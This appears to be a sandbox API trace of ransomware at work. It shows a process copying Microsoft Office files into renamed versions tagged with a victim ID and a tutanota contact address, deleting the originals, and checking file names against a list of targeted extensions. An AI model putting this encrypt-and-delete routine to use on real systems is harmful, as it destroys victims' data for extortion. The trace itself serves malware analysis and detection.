	[0272.129] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x244c, lpOverlapped=0x0) returned 1
	[0272.144] WriteFile (in: hFile=0x328, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x2450, lpOverlapped=0x0) returned 1
	[0272.145] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.145] WriteFile (in: hFile=0x328, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0272.145] SetEndOfFile (hFile=0x328) returned 1
	[0272.145] CloseHandle (hObject=0x328) returned 1
	[0272.145] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.145] SetEndOfFile (hFile=0x35c) returned 1
	[0272.147] CloseHandle (hObject=0x35c) returned 1
	[0272.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 1
	[0272.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62
	[0272.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62
	[0272.195] lstrlenW (lpString=".doc") returned 4
	[0272.195] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.195] lstrlenW (lpString=".docx") returned 5
	[0272.195] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1
	[0272.195] lstrlenW (lpString=".pdf") returned 4
	[0272.195] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.195] lstrlenW (lpString=".xls") returned 4
	[0272.195] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.195] lstrlenW (lpString=".xlsx") returned 5
	[0272.196] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1
	[0272.196] lstrlenW (lpString=".ppt") returned 4
	[0272.196] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62
	[0272.196] lstrlenW (lpString=".zip") returned 4
	[0272.196] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.196] lstrlenW (lpString=".rar") returned 4
	[0272.196] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.196] lstrlenW (lpString=".bz2") returned 4
	[0272.196] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.196] lstrlenW (lpString=".7z") returned 3
	[0272.196] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62
	[0272.196] lstrlenW (lpString=".dbf") returned 4
	[0272.196] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62
	[0272.196] lstrlenW (lpString=".1cd") returned 4
	[0272.196] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62
	[0272.196] lstrlenW (lpString=".jpg") returned 4
	[0272.196] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.197] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=58756) returned 1
	[0272.197] CloseHandle (hObject=0x29c) returned 1
	[0272.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20
	[0272.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0272.197] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.197] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0272.197] GetLastError () returned 0x0
	[0272.197] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xe584, lpOverlapped=0x0) returned 1
	[0272.220] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe590, lpOverlapped=0x0) returned 1
	[0272.222] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.222] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0272.222] SetEndOfFile (hFile=0x360) returned 1
	[0272.237] CloseHandle (hObject=0x360) returned 1
	[0272.237] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.237] SetEndOfFile (hFile=0x29c) returned 1
	[0272.239] CloseHandle (hObject=0x29c) returned 1
	[0272.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 1
	[0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62
	[0272.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62
	[0272.474] lstrlenW (lpString=".doc") returned 4
	[0272.474] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.474] lstrlenW (lpString=".docx") returned 5
	[0272.474] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1
	[0272.474] lstrlenW (lpString=".pdf") returned 4
	[0272.475] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString=".xls") returned 4
	[0272.475] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString=".xlsx") returned 5
	[0272.475] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1
	[0272.475] lstrlenW (lpString=".ppt") returned 4
	[0272.475] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62
	[0272.475] lstrlenW (lpString=".zip") returned 4
	[0272.475] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString=".rar") returned 4
	[0272.475] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString=".bz2") returned 4
	[0272.475] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString=".7z") returned 3
	[0272.475] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62
	[0272.475] lstrlenW (lpString=".dbf") returned 4
	[0272.475] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62
	[0272.475] lstrlenW (lpString=".1cd") returned 4
	[0272.475] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned 62
	[0272.475] lstrlenW (lpString=".jpg") returned 4
	[0272.475] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.476] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=3876) returned 1
	[0272.476] CloseHandle (hObject=0x29c) returned 1
	[0272.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 0x20
	[0272.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0272.476] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.476] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.476] GetLastError () returned 0x0
	[0272.476] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xf24, lpOverlapped=0x0) returned 1
	[0272.508] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf30, lpOverlapped=0x0) returned 1
	[0272.509] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.509] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.509] SetEndOfFile (hFile=0x218) returned 1
	[0272.509] CloseHandle (hObject=0x218) returned 1
	[0272.509] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.509] SetEndOfFile (hFile=0x29c) returned 1
	[0272.511] CloseHandle (hObject=0x29c) returned 1
	[0272.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart7.bdr")) returned 1
	[0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61
	[0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61
	[0272.512] lstrlenW (lpString=".doc") returned 4
	[0272.512] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.512] lstrlenW (lpString=".docx") returned 5
	[0272.512] lstrcmpiW (lpString1=".docx", lpString2="7.BDR") returned -1
	[0272.512] lstrlenW (lpString=".pdf") returned 4
	[0272.512] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.512] lstrlenW (lpString=".xls") returned 4
	[0272.512] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.512] lstrlenW (lpString=".xlsx") returned 5
	[0272.512] lstrcmpiW (lpString1=".xlsx", lpString2="7.BDR") returned -1
	[0272.512] lstrlenW (lpString=".ppt") returned 4
	[0272.512] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61
	[0272.512] lstrlenW (lpString=".zip") returned 4
	[0272.512] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.512] lstrlenW (lpString=".rar") returned 4
	[0272.513] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.513] lstrlenW (lpString=".bz2") returned 4
	[0272.513] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.513] lstrlenW (lpString=".7z") returned 3
	[0272.513] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61
	[0272.513] lstrlenW (lpString=".dbf") returned 4
	[0272.513] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61
	[0272.513] lstrlenW (lpString=".1cd") returned 4
	[0272.513] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART7.BDR") returned 61
	[0272.513] lstrlenW (lpString=".jpg") returned 4
	[0272.513] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.513] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=50838) returned 1
	[0272.513] CloseHandle (hObject=0x29c) returned 1
	[0272.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 0x20
	[0272.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0272.514] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.514] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.514] GetLastError () returned 0x0
	[0272.514] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xc696, lpOverlapped=0x0) returned 1
	[0272.529] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xc6a0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xc6a0, lpOverlapped=0x0) returned 1
	[0272.531] ReadFile (in: hFile=0x29c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.531] WriteFile (in: hFile=0x218, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.531] SetEndOfFile (hFile=0x218) returned 1
	[0272.531] CloseHandle (hObject=0x218) returned 1
	[0272.531] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.531] SetEndOfFile (hFile=0x29c) returned 1
	[0272.534] CloseHandle (hObject=0x29c) returned 1
	[0272.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart9.bdr")) returned 1
	[0272.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61
	[0272.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61
	[0272.535] lstrlenW (lpString=".doc") returned 4
	[0272.535] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString=".docx") returned 5
	[0272.535] lstrcmpiW (lpString1=".docx", lpString2="9.BDR") returned -1
	[0272.535] lstrlenW (lpString=".pdf") returned 4
	[0272.535] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString=".xls") returned 4
	[0272.535] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString=".xlsx") returned 5
	[0272.535] lstrcmpiW (lpString1=".xlsx", lpString2="9.BDR") returned -1
	[0272.535] lstrlenW (lpString=".ppt") returned 4
	[0272.535] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61
	[0272.535] lstrlenW (lpString=".zip") returned 4
	[0272.535] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString=".rar") returned 4
	[0272.535] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString=".bz2") returned 4
	[0272.535] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.535] lstrlenW (lpString=".7z") returned 3
	[0272.535] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61
	[0272.535] lstrlenW (lpString=".dbf") returned 4
	[0272.535] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61
	[0272.536] lstrlenW (lpString=".1cd") returned 4
	[0272.536] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART9.BDR") returned 61
	[0272.536] lstrlenW (lpString=".jpg") returned 4
	[0272.536] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0273.268] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.268] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0273.344] GetLastError () returned 0x0
	[0273.344] ReadFile (in: hFile=0x378, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x27a0, lpOverlapped=0x0) returned 1
	[0273.422] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x27b0, lpOverlapped=0x0) returned 1
	[0273.423] ReadFile (in: hFile=0x378, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.423] WriteFile (in: hFile=0x360, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0273.424] SetEndOfFile (hFile=0x360) returned 1
	[0273.424] CloseHandle (hObject=0x360) returned 1
	[0273.424] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.424] SetEndOfFile (hFile=0x378) returned 1
	[0273.426] CloseHandle (hObject=0x378) returned 1
	[0273.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 1
	[0273.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66
	[0273.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66
	[0273.427] lstrlenW (lpString=".doc") returned 4
	[0273.427] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0273.427] lstrlenW (lpString=".docx") returned 5
	[0273.428] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1
	[0273.428] lstrlenW (lpString=".pdf") returned 4
	[0273.428] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0273.428] lstrlenW (lpString=".xls") returned 4
	[0273.428] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0273.428] lstrlenW (lpString=".xlsx") returned 5
	[0273.428] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1
	[0273.428] lstrlenW (lpString=".ppt") returned 4
	[0273.428] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0273.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66
	[0273.428] lstrlenW (lpString=".zip") returned 4
	[0273.428] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0273.428] lstrlenW (lpString=".rar") returned 4
	[0273.428] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0273.428] lstrlenW (lpString=".bz2") returned 4
	[0273.428] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0273.428] lstrlenW (lpString=".7z") returned 3
	[0273.428] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0273.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66
	[0273.428] lstrlenW (lpString=".dbf") returned 4
	[0273.428] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0273.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66
	[0273.428] lstrlenW (lpString=".1cd") returned 4
	[0273.428] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0273.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66
	[0273.428] lstrlenW (lpString=".jpg") returned 4
	[0273.428] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0273.440] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=13712) returned 1
